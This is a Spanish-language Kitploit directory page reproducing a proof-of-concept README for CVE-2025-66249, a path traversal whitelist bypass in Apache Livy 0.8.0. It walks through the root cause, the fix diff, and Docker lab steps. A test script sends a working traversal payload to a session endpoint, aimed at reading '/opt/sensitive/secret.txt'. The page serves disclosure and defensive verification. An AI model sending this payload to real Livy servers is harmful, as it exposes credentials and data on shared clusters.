Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-66249-POC — Un POC para la vulnerabilidad de evasión de la lista blanca de Path Traversal en Apache Livy. | Kitploit
Herramientas/GitHubGitHub/sid6224/cve-2025-66249-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

Un POC para la vulnerabilidad de evasión de la lista blanca de Path Traversal en Apache Livy.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-66249 — Omisión de la lista blanca de Path Traversal en Apache Livy

CVE Livy Severity CWE Type License Platform Language

Solo con fines educativos y de investigación en seguridad. No lo utilice contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito por escrito. → Descargo de responsabilidad completo


Resumen

CampoDetalle
ID CVECVE-2025-66249
SeveridadImportante (CVSS N/A — evaluación del NVD pendiente al 2026-03-15)
AfectaApache Livy 0.3.0-incubating hasta 0.8.0-incubating — solo cuando livy.file.local-dir-whitelist está configurado con un valor distinto del predeterminado
Corregido enApache Livy 0.9.0-incubating
CWECWE-22: Limitación incorrecta de una ruta a un directorio restringido ('Path Traversal')
Divulgado2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
Reportado porHiroki Egawa (descubridor)

Descripción de la vulnerabilidad

Un usuario autenticado con acceso a la interfaz REST o JDBC de Livy puede enviar una sesión de Spark o un trabajo por lotes con un valor de configuración de ruta de archivo diseñado para escapar de la lista blanca de directorios permitidos.

Causa raíz — Omisión de path traversal en la comprobación de la lista blanca (Session.scala)

Cuando livy.file.local-dir-whitelist está configurado, Livy 0.8.0 valida las rutas enviadas llamando a String.startsWith() de Java sobre la ruta cruda y sin normalizar. Esta comprobación se puede omitir usando secuencias de traversal ../:

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

La cadena cruda comienza con /opt/safe-data, por lo que la comprobación se supera — pero la ruta se resuelve a /opt/sensitive/secret.txt, que está completamente fuera del directorio incluido en la lista blanca.

Condición de activación: La vulnerabilidad solo se puede explotar cuando livy.file.local-dir-whitelist está configurado con un valor distinto del predeterminado (no vacío). Si la lista blanca está vacía (el valor predeterminado), la validación de rutas se omite por completo y el problema no se manifiesta.

Impacto: Un atacante que envía una sesión a través de la API REST de Livy puede hacer referencia a archivos locales arbitrarios en el host del servidor Livy. En un clúster de analítica compartido, esto se traduce en una posible exposición de credenciales, claves, archivos de configuración o cualquier dato legible por el usuario del proceso de Livy.


Archivos fuente afectados

Archivo — Session.scala

Vulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Corregido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


Código fuente — Comandos de clonación

Ambas versiones se clonaron directamente desde el repositorio oficial de Apache Livy en GitHub usando los siguientes comandos exactos:

Repositorio: https://github.com/apache/incubator-livy

root@kitploit:~
# Versión vulnerable — clonada en ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# Versión corregida — clonada en ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
VersiónEtiqueta (tag)Commit resueltoRuta local
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/

Diffs de código exactos

Corrección — Session.scala: Paths.get().normalize() antes de la comprobación de la lista blanca

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Make sure the location is whitelisted before allowing local files to be added.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

Impacto en v0.8.0: La comprobación startsWith sobre la cadena cruda se puede omitir con una carga útil de path traversal.

Ejemplo: si livy.file.local-dir-whitelist = /opt/safe-data

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (omitida)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (bloqueada)

Los diffs se generaron clonando ambas etiquetas localmente (ver arriba) y ejecutando:

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Resumen del vector de ataque

root@kitploit:~
Atacante (usuario autenticado REST/JDBC)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← la ruta comienza con el prefijo de la lista blanca — String.startsWith() se supera
    ← pero se resuelve FUERA del directorio mediante traversal ../
  }
}
    │
    ▼
Livy 0.8.0 — comprobación de lista blanca omitida (startsWith crudo, sin normalización)
    │
    ▼
Spark lee el archivo y lo distribuye a los ejecutores
    │
    ▼
El atacante recupera el contenido del archivo mediante la salida del trabajo / los registros

Entorno de prueba

Todos los pasos de este PoC se ejecutaron y validaron en el siguiente sistema:

ComponenteDetalle
SO del hostUbuntu 24.04.4 LTS (Noble Numbat)
Kernel6.17.0-14-generic x86_64
Arquitecturax86_64
Memoria total15 GiB
Motor Docker28.2.2
JDK del hostOpenJDK 17.0.18 (usado solo por el host — los contenedores usan eclipse-temurin:11-jdk-focal)
Imagen base del contenedoreclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Versión de Spark (ambas imágenes)3.1.3 con Hadoop 3.2
Versión de Livy — imagen vulnerable0.8.0-incubating
Versión de Livy — imagen corregida0.9.0-incubating

Estructura de directorios

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

Prueba de concepto

Resumen

root@kitploit:~
docker/vulnerable/   →  imagen: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  imagen: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  un solo script, ejecutado sin cambios contra ambos entornos

Secuencia completa de principio a fin — siga los pasos 1 a 4 en orden:

root@kitploit:~
Paso 1: Construir imagen vulnerable  →  iniciar contenedor  →  verificar que Livy esté activo
Paso 2: Ejecutar validate.sh         →  confirmar VULNERABLE (ataque HTTP 201)   →  detener contenedor
Paso 3: Construir imagen corregida       →  iniciar contenedor  →  verificar que Livy esté activo
Paso 4: Ejecutar validate.sh         →  confirmar CORREGIDO    (ataque HTTP 400)     →  detener contenedor

Nota: Livy tarda aproximadamente entre 15 y 20 segundos en estar listo después de docker run. Todos los pasos siguientes incluyen un sleep 20 explícito antes de cualquier llamada a la API.


Paso 1 — Construir e iniciar el entorno vulnerable (Livy 0.8.0 + Spark 3.1.3)

Archivos:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — se vincula a 0.0.0.0:8998, modo local, lista blanca = /opt/safe-data

1a. Construir la imagen:

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

Validación — la imagen fue creada:

root@kitploit:~
docker images cve-2025-66249-vulnerable

Salida esperada:

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. Iniciar el contenedor:

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

Validación — el contenedor está en ejecución:

root@kitploit:~
docker ps --filter name=livy-vulnerable

Salida esperada:

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. Esperar a que Livy se inicie y luego verificar la API REST:

Livy requiere entre 15 y 20 segundos aprox. para inicializarse antes de atender solicitudes.

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Salida esperada:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. Validar la estructura de directorios dentro del contenedor:

Confirme que el archivo seguro incluido en la lista blanca existe:

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Salida esperada:

root@kitploit:~
This file lives inside the whitelisted directory.

Confirme que el archivo sensible existe fuera de la lista blanca:

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

Salida esperada:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Paso 2 — Ejecutar la validación contra el entorno vulnerable

El contenedor vulnerable del Paso 1 debe seguir en ejecución en el puerto 8998.

Qué prueba test/validate.sh:

#AtaqueClave de la carga útilResultado esperado en Livy 0.8.0
1Path traversal mediante String.startsWith() en Session.scalaspark.jars con traversal ../HTTP 201 — el traversal omite la lista blanca

2a. Ejecutar el script:

root@kitploit:~
bash test/validate.sh

Nota: validate.sh funciona de la siguiente manera:

  1. Hace sondeos de GET /sessions hasta que Livy responde (hasta 60 segundos), confirmando que el servidor está listo.
  2. Envía una solicitud POST /sessions mediante curl con una carga útil conf diseñada para apuntar a un archivo fuera de la lista blanca (/opt/sensitive/secret.txt) usando traversal ../.
  3. Lee el código de respuesta HTTP: 201 significa que Livy aceptó la ruta sin normalización (vulnerable); 400 significa que Livy la rechazó después de la normalización (corregido).
  4. Si se creó una sesión (HTTP 201), el script la elimina inmediatamente mediante DELETE /sessions/{id} para mantener el servidor limpio.
  5. Después de la prueba, imprime un resumen y sale con el código 1 (vulnerable) o 0 (corregido), lo que lo hace adecuado para su uso en canalizaciones automatizadas.

Salida esperada:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. Detener y eliminar el contenedor vulnerable:

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

Validación — el contenedor se eliminó por completo:

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

Salida esperada (vacía — sin filas):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Paso 3 — Construir e iniciar el entorno corregido (Livy 0.9.0 + Spark 3.1.3)

Archivos:

  • docker/fixed/Dockerfile — misma imagen base y Spark 3.1.3, solo cambia la versión de Livy a 0.9.0-incubating
  • docker/fixed/livy.conf — idéntico a docker/vulnerable/livy.conf (misma lista blanca, puerto y modo)

Mantener Spark, la imagen base y toda la configuración idénticos al Paso 1 aísla a Livy como la única variable.

3a. Construir la imagen:

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

Validación — la imagen fue creada:

root@kitploit:~
docker images cve-2025-66249-fixed

Salida esperada:

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. Iniciar el contenedor:

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

Validación — el contenedor está en ejecución:

root@kitploit:~
docker ps --filter name=livy-fixed

Salida esperada:

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. Esperar a que Livy se inicie y luego verificar la API REST:

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Salida esperada:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. Validar la estructura de directorios dentro del contenedor:

El contenedor corregido usa los mismos elementos de prueba que el vulnerable — esto confirma que la única variable entre los dos entornos es la versión de Livy.

Confirme que el archivo seguro incluido en la lista blanca existe:

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

Salida esperada:

root@kitploit:~
This file lives inside the whitelisted directory.

Confirme que el archivo sensible existe fuera de la lista blanca:

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

Salida esperada:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Paso 4 — Ejecutar la misma validación contra el entorno corregido

El contenedor corregido del Paso 3 debe estar en ejecución en el puerto 8998. El script es idéntico — sin cambios.

Qué cambia entre el Paso 2 y el Paso 4:

  • Misma carga útil, mismo script
  • Livy 0.9.0 ahora normaliza las rutas con Paths.get().normalize() antes de la comprobación de la lista blanca
  • El ataque se rechaza con HTTP 400 antes de que se cree una sesión

4a. Ejecutar el script:

root@kitploit:~
bash test/validate.sh

Salida esperada:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

Qué confirma el mensaje de error:

AtaqueHTTPMensaje de errorCausa raíz corregida
Path traversal mediante spark.jars400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Se añadió Paths.get(...).normalize() en Session.scala; resuelve ../ antes de la comparación con la lista blanca

4b. Detener y eliminar el contenedor corregido:

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

Validación — el contenedor se eliminó por completo:

root@kitploit:~
docker ps -a --filter name=livy-fixed

Salida esperada (vacía — sin filas):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Inferencia

CVE-2025-66249 es un único fallo lógico y específico en la aplicación de la lista blanca que protege la ruta de acceso al sistema de archivos local de Livy.

La lista blanca (livy.file.local-dir-whitelist) existía en todas las versiones afectadas y estaba configurada correctamente. El fallo estaba en cómo se evaluaba la lista blanca:

Omisión de path traversal (la única debilidad): La comparación de la lista blanca en Session.scala usaba String.startsWith() de Java sobre la cadena de ruta cruda. Esto es insuficiente para comparaciones de rutas de archivos porque no tiene en cuenta los segmentos de traversal ... Una ruta como /opt/safe-data/../sensitive/secret.txt satisface la comprobación de cadena contra la entrada de la lista blanca /opt/safe-data y, sin embargo, se resuelve a una ubicación completamente fuera de ella.

La corrección en 0.9.0 es mínima y específica: se añade una llamada a Paths.get().normalize() antes de la comparación con la lista blanca. Esto resuelve todos los segmentos .. antes de que se ejecute la comprobación startsWith, por lo que la carga útil de traversal se identifica correctamente como una ruta que apunta fuera del directorio permitido.

Conclusión clave para los defensores: La vulnerabilidad solo es explotable cuando livy.file.local-dir-whitelist está configurado con un valor no vacío. Si bien esto significa que la configuración predeterminada no es directamente vulnerable, cualquier implementación que haya endurecido la lista blanca (es decir, que haya restringido explícitamente los directorios a los que Livy puede acceder) es, paradójicamente, la que queda expuesta — porque es la presencia de la lista blanca la que activa la ruta de código defectuosa. Actualizar a Livy 0.9.0-incubating es la única remediación completa.


Referencias

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • Divulgación en OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Lista de correo de Apache: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Proyecto Apache Livy: https://livy.apache.org/

Agradecimientos

  • Hiroki Egawa — reportó originalmente CVE-2025-66249 al equipo de seguridad de Apache.
  • Mantenedores de Apache Livy — por la rápida clasificación y la corrección específica en v0.9.0-incubating.
  • Equipo de seguridad de Apache — por coordinar el proceso de divulgación responsable.
  • Comunidad de OSS-Sec — por el hilo de divulgación pública que hizo posible el análisis independiente.

Contribuciones

¡Las contribuciones para mejorar este PoC o la documentación son bienvenidas! Asegúrese de que cualquier contribución:

  • Siga las prácticas de divulgación responsable
  • Incluya los descargos de responsabilidad correspondientes
  • No incluya código malicioso más allá de la demostración educativa
  • Mantenga el enfoque en el valor educativo

Para contribuir, abra un pull request o reporte un problema (issue) describiendo el cambio propuesto.


Licencia

Este proyecto está licenciado bajo la Licencia MIT.


Descargo de responsabilidad

Este repositorio es solo para fines educativos y de investigación en seguridad. La prueba de concepto demuestra la mecánica de la vulnerabilidad para ayudar a la comprensión y a las medidas defensivas. No lo utilice contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito por escrito.


Etiquetas

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security string-startswith-bypass path-normalisation

Descargar herramienta